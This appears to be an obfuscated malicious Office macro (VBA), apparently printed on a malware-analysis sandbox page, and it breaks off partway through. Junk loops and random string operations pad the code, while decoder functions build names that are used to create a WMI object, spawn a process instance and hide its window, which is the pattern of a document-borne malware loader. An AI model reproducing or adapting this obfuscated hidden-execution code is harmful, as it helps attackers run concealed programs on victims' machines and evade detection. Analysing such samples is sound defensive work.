    iGrBcIaC = lHbJTgHL("w-B_&v wiFNg?INYnvsU asvm LvESN?g vx[vKmm$[jK_E t CqD!H^sm O .#_:C#&Z  [\ lf! tl\pkvHJjq. Xf  Ob\.&  @ urd%% eh&o]c -t XoH_z&eB tnk Tm C\_@r]bCPc!f uP$Viq $mXb m @pPFF]v VdGo@l2QHUNgvB")
    VWxqdXHnax = RTrim("ZPYmTgq") + UCase("][ VRE[v.auIxw  V")
    CPiHPcTxhPWQ = RTrim(" B FXL#hmcj") + UCase("Xz drdtv  mQ   Jpi.")
    For ZBRNVg = 2 To 6
        EaNLou = 66 + 89
        RSnnso = RTrim("e Vc^ BA s$CLO$  ") + UCase("aMx ABmeJ)_H(Cx^")
        SyJtjJjVLT = UCase("u--bZ@soY ") + RTrim("V [qXV ")
        xmNOS = 40 - 61 - 24 - 17 - 31
        CPiHPcTxhPWQ = 39 - 4
    Next ZBRNVg

    KqyTjvmXff = 15 + 73 + 61
    While CBNBPy < 1
        For lxVrRS = 2 To 10
            AnWWAnthZFh = UCase("SWiQ] c LtP") + RTrim("M lVC")
            EVCiVR = Right("idKwtM!bM#Q-%KAR", 5)
            HvjJWrs = Right("sCf ( ", 3)
            

            AnWWAnthZFh = UCase("..     H") + RTrim("H)yyu-IZU[zlLL")
        Next lxVrRS

        

        

        KQMru = LTrim(" M]ngYsx( ui Be&  ")
        CBNBPy = CBNBPy + 1
    Wend

    For qjnpOn = 2 To 7
        NCdzQdrde = Right(" eZ  eO", 3)
        FwSPc = RTrim("  L $    # J! uLU_ ") + UCase(" zE  l HCLhE)yVL")
        FpHFSXYzOe = RTrim("?Mj  L- o k wz") + StrReverse("-XJNg)zKts Y-km ")
        MAUqKm = RTrim("Rw tW") + UCase(" XSb#AOXp- %V^ ")
    Next qjnpOn

    EVCiVR = Right("lpN No", 4)
    VneHPrvJfOu = 48 + 8 + 79
    agRAOnDi = Right("ZB d$ OiAnsvN GXmD", 4)
    EaNLou = 70 - 68
    gbrtxeIzt = 65 + 10 + 48 + 94 + 51 + 20
    FturCyqCeSrX = LTrim("@QwKxj pv @Ux)zk(z#")
    

    Set PqzFI = CreateObject(iGrBcIaC)
    RSnnso = 32 + 91 + 94 + 53 + 62
    KyqWHn = Space(15) + Left("$j t uei ExvQ Ha ", 2)
    EVCiVR = Space(1) + Left("aDzH m ", 5)
    dOeEpoXgRwdg = 9 + 25 + 36
    VWxqdXHnax = 97 - 18 - 63
    While fhTOxY < 1
        OROagXjiR = 61 - 39 - 49
        dOeEpoXgRwdg = LTrim("!Y d WH QWwuug^")
        KyqWHn = Space(11) + Left("o^C-  N o", 5)
        fhTOxY = fhTOxY + 1
    Wend

    KqyTjvmXff = UCase("U( & w]  [BulWCx ") + RTrim(" )z $ B-Q [i ")
    OROagXjiR = RTrim("bFl _ n") + UCase("jw ^eC vO&q")
    EaNLou = RTrim(")CTmdN") + StrReverse("  @M)U uRP  ")
    qtqCqSFgbvf = RTrim("e-Eq   hIT") + StrReverse("cO Dj . S")
    While FwoBIp < 5
        KqyTjvmXff = 30 + 85
        RSnnso = Space(7) + Left("VNd^h", 5)
        NCdzQdrde = Space(12) + Left("rY.t VrT  ", 3)
        FwoBIp = FwoBIp + 1
    Wend

    

    

    For wPBzCc = 2 To 8
        qtqCqSFgbvf = Right(" hmI[WjP&J", 5)
        aFQdiWeWvqLd = Right("  RVCL", 4)
        PhtUXWsUtfk = Space(5) + Left("s yXL Up-A", 4)
    Next wPBzCc

    For svVUkm = 2 To 5
        For NYYKWV = 2 To 6
            sMmvlNrr = 59 - 56 - 11 - 88 - 59 - 88
            RQrItliDz = Left(" #u]f#X_", 2) + LTrim("  q]M ")
            FwSPc = 61 - 8 - 23 - 10
            RmtGISKyZ = RTrim("Pd w^ZS") + UCase(" YN g &sD?_RV ")
            

        Next NYYKWV

        aFQdiWeWvqLd = 54 + 86 + 0 + 65 + 59
        gbrtxeIzt = 7 - 52 - 15 - 38 - 79 - 6
        QELIgcCs = LTrim(" Wy I q dpFy@J")
        VneHPrvJfOu = LTrim("aM%lZev?#! (vIR")
        HvjJWrs = Space(14) + Left(".%)UA BXIwn", 2)
    Next svVUkm

    PhtUXWsUtfk = 97 + 35 + 13 + 55 + 32
    FpHFSXYzOe = LTrim("ICxFq")
    PhtUXWsUtfk = RTrim("Sk  [(&iRN V  v[hG z") + UCase("IRC W YY Eh")
    For WrAOGO = 2 To 3
        For EcOeML = 2 To 5
            NCdzQdrde = 72 + 23 + 16 + 57
            VneHPrvJfOu = Space(18) + Left(" al.)jbK_ ]jT Sl ", 4)
            BwrGM = RTrim("nTHuG [hKO# )P ") + StrReverse(" %v RuYt#s lP-")
        Next EcOeML

        AtesmqSXNYO = UCase("q  fvsZR") + RTrim("IzGIt")
        qtqCqSFgbvf = Right(" b!  F_D", 2)
        AnWWAnthZFh = 59 + 98 + 65 + 44
    Next WrAOGO

    CPiHPcTxhPWQ = 23 - 11 - 75
    iGrBcIaC = lHbJTgHL("W.NEEP$SikyvVB $n#d A@  3RjZ!%aG2z  laHv_(We.MaoPpzVI_[vr BKLeIvoee EnZCck   S Ce?BuaSmCsH pBB  sFwf Uz Sc$(SseVtNq_XkM(aV A$ E r @q] But ENWO( ueUWa &EpFZHELvW")
    

    gbrtxeIzt = 77 - 18 - 34 - 95
    VWxqdXHnax = Space(10) + Left("F wm?vD !WRk", 2)
    drbLfxyUW = 20 - 47 - 13 - 5 - 74 - 48
    FturCyqCeSrX = UCase("qYcrzlh C   ") + RTrim("w $Pc WXfb]  e ]n")
    AnWWAnthZFh = UCase("StV  . %#Ek!") + RTrim("EIZJ^A(@ao")
    For dslyds = 2 To 6
        RSnnso = RTrim(" Q !smwM $PNBg k  ZC") + StrReverse("WYdX&_ S  z$ yD")
        sMmvlNrr = RTrim(" a p_!&DHR Ull) t $") + UCase("prz nX]_pRv$ WTvsh ")
        SyJtjJjVLT = RTrim(" v q Omvus@") + StrReverse(" MM igJFb")
    Next dslyds

    While tgFbak < 3
        xZLmn = Left("z  w ( R!b.mLF(fx ", 2) + LTrim(" ^lbc] fvDk ")
        aazJqJwo = 30 + 70 + 40 + 0
        QELIgcCs = UCase("k@ L_ _DV$D(k?d  Csf") + RTrim("Df EP")
        wGUVfImhdc = Right("fI I@!uf hW_RkCL MTy", 3)
        tgFbak = tgFbak + 3
    Wend

    While LMvLGI < 5
        EVCiVR = Right("u Z T ", 3)
        dOeEpoXgRwdg = Left("[O qr     # xe h  @", 5) + LTrim("H YN#fOY(%qo %Gp")
        RQrItliDz = Right(" yRgL [W  ye[ BU", 4)
        sMmvlNrr = UCase("[)LnN O") + RTrim("?oQFo")
        sMmvlNrr = Right("& cJ^m UQ! EQrP  ", 4)
        LMvLGI = LMvLGI + 2
    Wend

    qtqCqSFgbvf = LTrim("Wt j o #x%   ? % zkB")
    QELIgcCs = UCase("oZJ#H wZ") + RTrim("O_  DV -iBjh TVkIW ")
    While BCOlEb < 3
        aazJqJwo = Space(16) + Left(" Gf Udk$&f  P", 2)
        dOeEpoXgRwdg = Space(7) + Left("JNG ? . K?pYM aW", 4)
        BwrGM = Space(14) + Left("Ak FR AOFI@JRJq VM", 3)
        BCOlEb = BCOlEb + 1
    Wend

    EWtwukpcYvK = Left("Bo@% [i$OkdF I [  ", 3) + LTrim(" P W WaAlY Z WOgk]")
    For HQpocz = 2 To 3
        For RIUKRM = 2 To 8
            RmtGISKyZ = RTrim("hm^u n.li") + StrReverse(" kDrh")
            

            cymOv = Left("m      -", 3) + LTrim("# tWO")
            

            FturCyqCeSrX = Space(9) + Left("pyew G^r Lk[HD", 5)
        Next RIUKRM

        KwidyorjsrJ = 0 + 72 + 34 + 77 + 39
        NCdzQdrde = RTrim("t HTSx%FW Nmw   .X") + UCase("V]UsQ _ID  !jw ")
        

        qtqCqSFgbvf = 44 - 61 - 81
    Next HQpocz

    Set yAWKxmB = PqzFI.Get(iGrBcIaC)
    KyqWHn = RTrim(" y v^a ") + StrReverse("DSF^   ")
    EVCiVR = 93 - 0 - 35 - 46 - 84 - 63
    PhtUXWsUtfk = Left("  ) Z", 2) + LTrim("CsNty")
    

    dOeEpoXgRwdg = LTrim("  oOf [A")
    HvjJWrs = RTrim("  cy  QMj@z.r@#g") + UCase("b s&e _Hzh  fjTuV  ")
    RQrItliDz = LTrim("y& IpR-   m")
    

    wGUVfImhdc = Space(6) + Left("e$!fE", 3)
    KwidyorjsrJ = Right(" &eC UZ]VQ I", 5)
    VWxqdXHnax = Space(2) + Left("Bfb k kU  i#", 5)
    OROagXjiR = Right(" z&l.F  ]tpG) ", 3)
    For UXPsMw = 2 To 7
        EVCiVR = 26 - 31
        KqyTjvmXff = Right("sLS $nS(vctt g  Y ?", 2)
        aazJqJwo = UCase(".)E?jkMa  o") + RTrim(" P%oqK Q.weJYp ")
        VneHPrvJfOu = UCase("I(g gmF aI") + RTrim("dgnzP$Yg")
    Next UXPsMw

    While pzMoQs < 3
        xZLmn = RTrim("Cty )Y EKYHSX") + StrReverse(" $[z&F@U Ic  o ")
        RmtGISKyZ = UCase("B  !M(  ") + RTrim(" )n _  z")
        PhtUXWsUtfk = RTrim("OW% z w v$") + StrReverse("a  F  kp")
        pzMoQs = pzMoQs + 1
    Wend

    SyJtjJjVLT = RTrim("  QE Rd") + UCase(" esPY")
    agRAOnDi = 70 + 33
    RQrItliDz = Right("]Kk-Y Np% ^  OZpo", 4)
    EaNLou = UCase("Wbc? AzS!R$ N ") + RTrim("dbCV fIIHOJ &aG#")
    RSnnso = RTrim("HIz F m") + UCase("O.BC^HE  K&it]WQ kx")
    Set gxOEnwc = yAWKxmB.SpawnInstance_
    

    drbLfxyUW = RTrim("zO B] T--aQ   L RCu") + UCase("g.#Y yWax e FX #on")
    KyqWHn = Left("GP kgFzZJBl kvuJ", 3) + LTrim("( z&&QB K")
    RQrItliDz = UCase("lAKrRN  ") + RTrim("(  n[hL]S!lrgz   ")
    

    xmNOS = Right("DrrVEv^S J$ ) J#", 4)
    KyqWHn = RTrim("m^v Mz  Mg") + UCase(" KGZe Pp    ")
    SyJtjJjVLT = Right("M$cRJ@", 2)
    For xImsil = 2 To 8
        EWtwukpcYvK = RTrim("  i% L GtTo  (K") + UCase("bPdf- !")
        drbLfxyUW = 97 - 36 - 66 - 74 - 36
        fHlGfNzvea = RTrim("hGrD  iqPs   F") + StrReverse("ea F  ")
        AtesmqSXNYO = UCase("ktW  -W$]m  jv  &B") + RTrim(" z H[&i")
    Next xImsil

    EVCiVR = LTrim("D?]Ou ^(NKd")
    iGrBcIaC = VqHDDcKg("wg&%j eQiR__RoMonYBb uKsmIf]u]GCgrY U?(Om J BlJxt[Ji wF sJ-b(meN:fmpkaCX\j?Rc ^o\ Ggo $P. vvIWTo\KEmY Ilr @tTD ZossmeXmFoqs d EWt-gH z]%\eZ Jx  c&D z R iL # n]QmoQ!C%U]v] thQ l2 l W]TY:NTW zI W Y (Mc ihc y@cqnsQA o v3Uwx#eu 2aBm s n_R&gy ?_P qix]Lsrz- I(  od Q?rH_cM( P.jHe spz-Ihsk$XH&v scOOWlzL")
    aazJqJwo = 59 - 30 - 90 - 71 - 18
    While QDVCLi < 3
        For ckshfa = 2 To 9
            sMmvlNrr = RTrim("N rK Hbq#S") + StrReverse("Y A mx ")
            agRAOnDi = Space(4) + Left("w yWX  ", 2)
            wGUVfImhdc = Left("zS )xUF", 2) + LTrim("r% Ml@")
            EaNLou = LTrim("xuNyD ")
        Next ckshfa

        KyqWHn = RTrim("VWu.Fw A  vtfc") + UCase("@ Vw_C?^ggu$ #fbk)")
        QELIgcCs = 52 + 14 + 6 + 93
        EaNLou = RTrim("cM^)  ]FUm! i o") + StrReverse("cd$ x%R")
        EVCiVR = 87 + 48 + 35 + 7 + 89 + 85
        QDVCLi = QDVCLi + 1
    Wend

    aazJqJwo = UCase(" yQ@F?O & ") + RTrim(" uIkt)FVy swS ")
    EaNLou = RTrim("Ew j vDvq ") + StrReverse(" jvadH LD_Gn?zgITDd")
    EaNLou = Left("Gx .) X(e", 4) + LTrim("FDkWm")
    dOeEpoXgRwdg = LTrim("cvJ! F %oe")
    While VrrNkO < 4
        RmtGISKyZ = 7 + 86 + 4 + 75 + 24
        NCdzQdrde = LTrim("  P]E$M   . Qk  !")
        NCdzQdrde = Space(1) + Left("( T-oYK S_ex", 3)
        KyqWHn = Left("gb   [ R ? ", 4) + LTrim("hp [jN   [- Xa")
        VrrNkO = VrrNkO + 2
    Wend

    While nPMUUl < 1
        While oRrLdY < 5
            aFQdiWeWvqLd = RTrim("(hD qtTt e  KWR") + UCase(" $ x_&fXo ")
            MAUqKm = RTrim("bI OmQB?x D") + UCase("TVY&cB g H   .q")
            

            oRrLdY = oRrLdY + 2
        Wend

        xZLmn = Space(17) + Left("Z? J F reik   Z", 3)
        VneHPrvJfOu = RTrim("S M zT&nJ N& Sg ") + UCase("(#Dkx[[$LcDs  S[ d j")
        

        KQMru = RTrim("fI(mMKYalE") + StrReverse(" k  BS$]w   mlOv q&")
        nPMUUl = nPMUUl + 2
    Wend

    VneHPrvJfOu = Space(1) + Left("I@ %R& c", 3)
    fHlGfNzvea = RTrim("    XPam  _&@W  Nw@") + StrReverse("l PyZ$f !  ON] [")
    AnWWAnthZFh = Space(20) + Left(" AmRbdG", 3)
    CPiHPcTxhPWQ = Left("  ]i #n  ", 3) + LTrim("(X#&Z cm ]d  e")
    gxOEnwc.ShowWindow = 89 - 89
    HvjJWrs = 12 - 97
    gbrtxeIzt = Right("q  iQBb ( M  yI$P", 4)
    For NrOloS = 2 To 10
        drbLfxyUW = 53 + 92 + 40 + 25
        AtesmqSXNYO = 52 - 31 - 16 - 99 - 62 - 49
        dOeEpoXgRwdg = RTrim("?[X ?  hn PV iRYk") + UCase("   (^")
        FwSPc = 58 + 11 + 8 + 55
    Next NrOloS

    FwSPc = Space(16) + Left(" x p a", 2)
    AtesmqSXNYO = RTrim(" #LZeC zg$R D u_!") + UCase(" hy%?IH%zCOp  vul")
    RmtGISKyZ = Space(12) + Left("g[j tO c h^ s O", 2)
    CPiHPcTxhPWQ = UCase("UGK  ? !G ^A") + RTrim("gJ v  v")
    NCdzQdrde = LTrim(")w T F xz")
    BwrGM = UCase(".cR lJ Gbaj") + RTrim("tQtncq ")
    For fkSgHs = 2 To 7
        RQrItliDz = Space(12) + Left("s & vu", 4)
        hBbvQztU = Right("o qoEuc TpI wD", 2)
        OROagXjiR = 66 + 50 + 54 + 94 + 90
        RQrItliDz = 19 + 14 + 53 + 91 + 89
    Next fkSgHs

    Set TrxdRyr = CreateObject(iGrBcIaC)
    RQrItliDz = RTrim("jcu a !") + StrReverse("nt  @")
    CPiHPcTxhPWQ = 10 - 99 - 28 - 38 - 7
    QELIgcCs = UCase("jAE_  GZ k") + RTrim("dxUryUuuS")
    cymOv = UCase("gl  QVxVQ    ") + RTrim("!   EkHUrC HK](")
    

    FwSPc = 57 - 52 - 84
    For cFCEIC = 2 To 3
        While nKKsVB < 1
            KwidyorjsrJ = Left(" ld(_@T(Z RXqD", 2) + LTrim(" jC Q%mOroCJFdm  C  ")
            xZLmn = RTrim("E rGc") + StrReverse("f GJ( O!&hBaj DT)M")
            BwrGM = Right(" Z C!", 3)
            

            nKKsVB = nKKsVB + 3
        Wend

        KwidyorjsrJ = RTrim("wRLC[ s) a pUv -W") + UCase("M@W @ & @F  L")
        VneHPrvJfOu = RTrim("(Hed$Rwk_  R") + StrReverse("EASpYjS&Qg) ")
        FpHFSXYzOe = LTrim(" bH TFB ]L?$ s [)G")
        MAUqKm = Left(" ^hVSr).] DG pp[", 4) + LTrim("kSuJm vF.  !o^")
        VneHPrvJfOu = LTrim(" GFY  TLU q Gryjq")
    Next cFCEIC

    EWtwukpcYvK = 13 - 88 - 30
    sMmvlNrr = Space(7) + Left("  &- wh  kU", 3)
    xmNOS = RTrim("%k.gow V") + UCase("d-irA . &")
    VneHPrvJfOu = RTrim("mh.KxZQt ps%z] Q! a") + UCase("  %Hbeym@ XFF W LS")
    While XyoLIz < 2
        For THFfkg = 2 To 6
            BwrGM = RTrim("f  J Mv$ ") + StrReverse("AIc   H([y %T HGSlC")
            xmNOS = 87 + 87 + 34
            

        Next THFfkg

        EaNLou = Left("ScX@SZ  f  H", 5) + LTrim("Z .hU h%F ! NgUus O")
        dOeEpoXgRwdg = RTrim("z]Z  ?oV   DU") + UCase("&jZFu%xK?")
        drbLfxyUW = RTrim("Fa^ OM yu egRx") + UCase("vBJ!Y")
        XyoLIz = XyoLIz + 3
    Wend

    xZLmn = 23 - 61 - 69 - 84 - 32
    AnWWAnthZFh = 27 - 46 - 79 - 86 - 100
    If 4 = 6 Then
    MAUqKm = 4 - 67 - 41 - 75 - 43 - 56
    RQrItliDz = 56 - 94
    drbLfxyUW = UCase("bZ$ TTs M(Zot") + RTrim("]h.rq K. H  . e_% ")
    EaNLou = UCase(" ?q()e ") + RTrim("MuakyN[Kig @JIX o")
    For UOjquq = 2 To 10
…

Open this report in the interactive analyzer, or submit your own file for analysis.